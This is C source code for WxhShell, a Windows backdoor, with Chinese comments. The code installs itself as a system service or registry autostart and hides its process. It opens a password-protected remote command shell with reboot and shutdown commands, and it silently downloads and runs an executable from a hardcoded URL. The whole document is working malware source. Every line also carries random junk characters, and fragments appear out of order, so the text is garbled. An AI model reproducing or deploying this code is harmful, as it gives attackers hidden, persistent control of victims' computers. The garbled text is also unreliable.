ULONG UniqueProcessId; AbG &9=Ks
ULONG InheritedFromUniqueProcessId; u]SZ{[e
} PROCESS_BASIC_INFORMATION; i=V-@|Z
qZP:@r"
PROCNTQSIP NtQueryInformationProcess; JeL~]F
18rp;
l{
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -`g J
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2;h+;G
MU*It"@}2
HANDLE hProcess; %2,/jhHL
PROCESS_BASIC_INFORMATION pbi; :-U53}Iy
tStJ2-5*t
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]6q*)q:`
if(NULL == hInst ) return 0; St_Sl:m$
1[px`%DR~
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >-eS&rma
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SNN#$8\
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RB *P0
K9^ "NS3
if (!NtQueryInformationProcess) return 0; xjE7DCmA
_V&x`ks
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *cPN\Iu.W
if(!hProcess) return 0; yduuFK
`}Eh[EOHJ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;)P5#S!n-
xmOM<0T
CloseHandle(hProcess); 1j+eD:d'
\:h0w;34O
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Eh:yRJ_8
if(hProcess==NULL) return 0; :Nkz,R?
&D^e<j}RQ
HMODULE hMod; 8a?IC|~Pz
char procName[255]; i"<ZVw
unsigned long cbNeeded; n}f3Vrl
`{Hb2
}L5
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C!hXEtK
d;<.;Od$`
CloseHandle(hProcess); $.;iu2iyo
K('
9l& A
if(strstr(procName,"services")) return 1; // 以服务启动 vWuyft*
'Z y{mq\
return 0; // 注册表启动 ~RAzFLt6x
} $Q=$?>4U
pRb<wt7v
// 主模块 }&C dsCM>2
int StartWxhshell(LPSTR lpCmdLine) ?S8$5gA
{ v,8Si'"i+
SOCKET wsl; fG3wc
l~
BOOL val=TRUE; PMQb\%iE"
int port=0; G%Y*q(VrEu
struct sockaddr_in door; (&k')ff9K
ShsJ_/C2
if(wscfg.ws_autoins) Install();
hZ%2?v`
\A` gK\/h
port=atoi(lpCmdLine); :{x!g6bK@
kBQ5]Q"
if(port<=0) port=wscfg.ws_port; C+DG+_%V*S
^*HVP*
WSADATA data; {`($Q$Q1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QziN]
Y!bpOa&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 3/SfUfWo
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KsZ@kTs
door.sin_family = AF_INET; NJ.rv
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,"x23=]
door.sin_port = htons(port); Pv^(Q]
<yis
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]6jHIk|
closesocket(wsl); <Sz>ZIISd
return 1; !."Izz/
} ]r"31.w(
~GAlNIv]
if(listen(wsl,2) == INVALID_SOCKET) { h<+PP]l=
closesocket(wsl); -7&^jP\,
return 1; ?T tQZ
} dl7Riw-J
Wxhshell(wsl); Q]yV:7
WSACleanup(); L[`R8n1C
SJso'6 g
return 0; K-N]h
A9NOeE
} + 8MW$ m$
+8L(pMI4
// 以NT服务方式启动 NEjPU#@c
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :(5]Z^
{ er&uC4Y]a
DWORD status = 0; :!r9 =N9
DWORD specificError = 0xfffffff; Bu*W1w\
#|)JD@;Q
serviceStatus.dwServiceType = SERVICE_WIN32; t-3v1cv"
serviceStatus.dwCurrentState = SERVICE_START_PENDING; yg]suU<z]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 53g8T+`\(
serviceStatus.dwWin32ExitCode = 0; >xhd[
serviceStatus.dwServiceSpecificExitCode = 0; dt`9RB$
serviceStatus.dwCheckPoint = 0; \]tq7
serviceStatus.dwWaitHint = 0; <1;,B%_^
MzBfHt'Rk
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9^6|ta0;0
if (hServiceStatusHandle==0) return; <B|n<R<?
Z!q2F%02FO
status = GetLastError(); AAIyr703cQ
if (status!=NO_ERROR) ]>]#zu$=c
{ <Tj"GVZAEO
serviceStatus.dwCurrentState = SERVICE_STOPPED; z^gDbXS
serviceStatus.dwCheckPoint = 0; Dme(Knly
serviceStatus.dwWaitHint = 0; Co{MIuL
serviceStatus.dwWin32ExitCode = status; Xq=!"E
serviceStatus.dwServiceSpecificExitCode = specificError; z&>9
s)^-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); B:R7[G;1
return; _ Yb
Eo+
} #u}v7{4
.0R/'!e
serviceStatus.dwCurrentState = SERVICE_RUNNING; 9,Crmbw8
serviceStatus.dwCheckPoint = 0; @lb=-oR!~
serviceStatus.dwWaitHint = 0; Thht_3_C,f
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a"v"n$
} 4)x3!Ol
DK#65H'
// 处理NT服务事件,比如:启动、停止 Nqo#sBS
VOID WINAPI NTServiceHandler(DWORD fdwControl) N\CEocU
{ 1j${,>4tQ
switch(fdwControl) =jk-s*g
{ <3],C)Zwc
case SERVICE_CONTROL_STOP: =F^->e0N
serviceStatus.dwWin32ExitCode = 0; (Fbm9(q$d
serviceStatus.dwCurrentState = SERVICE_STOPPED; } K+Q9<~u
serviceStatus.dwCheckPoint = 0; hJ$C%1;
serviceStatus.dwWaitHint = 0; jm#F*F vL
{ Q G=-LXv:@
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,q'gG`M
N
} eMpEFY
return; NIWI6qCw
case SERVICE_CONTROL_PAUSE: n]6}yJJo
serviceStatus.dwCurrentState = SERVICE_PAUSED; @4 Os?_gJ\
break; -N-4l
case SERVICE_CONTROL_CONTINUE: ulz\x2[Pf
serviceStatus.dwCurrentState = SERVICE_RUNNING; V,|Bzcz
break; \>aa8LOe
case SERVICE_CONTROL_INTERROGATE: ^2Fs)19R
break; &<fRej]v
}; !~w6"%2+7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?@g;[310`
} PJSDY1T
QYf/tQg$
// 标准应用程序主函数 &4[#_(pk
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~Uwr689N
{ rlUdAa3
K[ Egwk7
// 获取操作系统版本 buCm @@o
OsIsNt=GetOsVer(); "Dmw-
GetModuleFileName(NULL,ExeFile,MAX_PATH); vP87{J*DE1
=Nv=Q mO
// 从命令行安装 +,{Wcb
if(strpbrk(lpCmdLine,"iI")) Install(); <g/(wSl
H8o%H=I%
// 下载执行文件 8 /RfNGY
if(wscfg.ws_downexe) { E
|GK3 /
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1K*f4BnDr~
WinExec(wscfg.ws_filenam,SW_HIDE); fn?6%q,!ls
} CwEWW\Bu
w ;s ]n
if(!OsIsNt) { +qSr=Y:+
// 如果时win9x,隐藏进程并且设置为注册表启动 #0YzPMV
HideProc(); Ck/_UY|
StartWxhshell(lpCmdLine); D<D
k1
} m|e*Jc
else G\,A> mT/P
if(StartFromService()) uz#eO|z@o
// 以服务方式启动 ;*37ta
StartServiceCtrlDispatcher(DispatchTable); q _T?G e
else {Y@-*pL]
// 普通方式启动 hI>rtaY_
StartWxhshell(lpCmdLine); B;D:9K
. ;ea]_Z
return 0; Fgc:6<MGM
} _1>(GK5[
>m_p\$_
;SlS!6.W-
jN'fm
=========================================== VATXsD
^b|Nw:
=Zb"T5E
$E9daUt8"J
ad3z]dUZ9
q$u\
q.
" beHCEwh
G(|(y=ck
#include <stdio.h> EkB6- nz
#include <string.h> `S/1U87
#include <windows.h> eM1;Nl
#include <winsock2.h> EB3o8
#include <winsvc.h> meM.?kk(
#include <urlmon.h> ,TfI
O.up%'%,
#pragma comment (lib, "Ws2_32.lib") Zm8
u:
#pragma comment (lib, "urlmon.lib") +'&_V011<
:86luLFm
#define MAX_USER 100 // 最大客户端连接数 &"j).Ogm4
#define BUF_SOCK 200 // sock buffer G}?P
r4Gj
#define KEY_BUFF 255 // 输入 buffer , C@hTOT
GFc
#define REBOOT 0 // 重启 Mp=kZs/
#define SHUTDOWN 1 // 关机 p`l[cVQ<
VjB`~
#define DEF_PORT 5000 // 监听端口 D'sboOY
Q3'B$,3O^
#define REG_LEN 16 // 注册表键长度 M;TfD
#define SVC_LEN 80 // NT服务名长度 "JUQ)> !?
]x(2}h^S
// 从dll定义API z:Zn.e*$b
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); * /Ry6Yu
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3NxaOO`
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !wR{Y[Yu
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .L(j@I t
%_@5_S
// wxhshell配置信息 DneSzqO"o
struct WSCFG { bmq XP
int ws_port; // 监听端口 5t5S{aCDr
char ws_passstr[REG_LEN]; // 口令 v`ZusHJ1d
int ws_autoins; // 安装标记, 1=yes 0=no )Fr;'JYC1S
char ws_regname[REG_LEN]; // 注册表键名 Mb2 L32
char ws_svcname[REG_LEN]; // 服务名 n.qxxzEN
char ws_svcdisp[SVC_LEN]; // 服务显示名 u+tb83~[=
char ws_svcdesc[SVC_LEN]; // 服务描述信息 sr($Bw
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !9<RWNKV)Y
int ws_downexe; // 下载执行标记, 1=yes 0=no Ccd7|L1
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (#l_YI
-
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .lF\b A|
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}; U#]eN[
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// default Wxhshell configuration .bBQhf.&"
struct WSCFG wscfg={DEF_PORT, ]pP2c[;
"xuhuanlingzhe", <pl2
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"Wxhshell", tDLk ZCP
"Wxhshell", 1
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"WxhShell Service", #M9D"
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"Wrsky Windows CmdShell Service", +=H>s;B
"Please Input Your Password: ", >]Yha}6h
1, q{+poVX
"http://www.wrsky.com/wxhshell.exe", Qu>zO !x
"Wxhshell.exe" <C96]}/ ?
}; GuY5 %wr
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// 消息定义模块 (*WZsfk>/<
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NlEWm8u
char *msg_ws_prompt="\n\r? for help\n\r#>"; m^x\@!N:(
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l5OV!<7~X
char *msg_ws_ext="\n\rExit."; @N_H]6z4
char *msg_ws_end="\n\rQuit."; #!&R7/
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char *msg_ws_boot="\n\rReboot..."; 8EEQV} 4
char *msg_ws_poff="\n\rShutdown..."; 59Q Q_#>
char *msg_ws_down="\n\rSave to ";
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char *msg_ws_err="\n\rErr!"; qVe6RpS
char *msg_ws_ok="\n\rOK!"; V>uW|6
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char ExeFile[MAX_PATH]; -LK(C`gB
int nUser = 0; g+r{>x
HANDLE handles[MAX_USER]; +siNU#!
int OsIsNt; [%,=0P}
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SERVICE_STATUS serviceStatus; a&aIkD
SERVICE_STATUS_HANDLE hServiceStatusHandle; G/3lX^Z>
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// 函数声明 2pNJWYW"
int Install(void); _"bvT?|
int Uninstall(void); IeI%X\G
int DownloadFile(char *sURL, SOCKET wsh); |Pl{Oo+
int Boot(int flag); sl
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void HideProc(void); Yn2^nT=8
int GetOsVer(void); 'p+QFT>Ca
int Wxhshell(SOCKET wsl); 7.rZ%1N
void TalkWithClient(void *cs); &:f'{>3z
int CmdShell(SOCKET sock); 7{F9b0zwk
int StartFromService(void); +1fOW4!5
int StartWxhshell(LPSTR lpCmdLine); kR?n%`&k
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); .V:<